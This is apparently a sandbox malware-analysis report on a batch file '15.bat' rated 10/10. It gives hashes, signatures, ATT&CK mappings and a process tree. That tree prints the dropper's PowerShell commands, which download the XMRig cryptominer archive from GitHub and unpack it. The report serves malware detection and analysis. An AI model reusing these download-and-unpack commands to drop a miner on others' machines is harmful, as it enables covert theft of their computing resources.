c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
22-05-2024 02:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

15.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 2900 powershell.exe
6 2900 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2900 powershell.exe
2908 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2900 powershell.exe
2908 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2900 powershell.exe
Token: SeDebugPrivilege 2908 powershell.exe

flow	pid	process
5	2900	powershell.exe
6	2900	powershell.exe

pid	process
2900	powershell.exe
2908	powershell.exe

pid	process
2900	powershell.exe
2908	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2256 wrote to memory of 2900	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2900	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2900	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2908	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2908	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2908	2256	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\15.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2908

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DETX6ERLDGOO53RE2UHN.temp
Filesize
7KB

MD5
efc24f71b3b6e0be5d6f675466d25d51

SHA1
b2995055b7f2ba6d5cca5f3654a100fec0bf1dab

SHA256
30dec5c30862d862a54e01b18e9c1a7f02ce3936abfe003d2d2e0eedd5b3b87a

SHA512
874c6b341d2e68291fa86f27a86ca6b58044621bd0c1774c4584f062f1f179d0b5126239b414f24122cec7fbd621ee7fe47dd8c4d1532fd631691a81d4312ff5

Download Submit
memory/2900-4-0x000007FEF633E000-0x000007FEF633F000-memory.dmp

Filesize
4KB

Download
memory/2900-5-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/2900-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2900-7-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-9-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-10-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-11-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2900-12-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2908-19-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2908-18-0x000000001B4E0000-0x000000001B7C2000-memory.dmp

Filesize
2.9MB

Download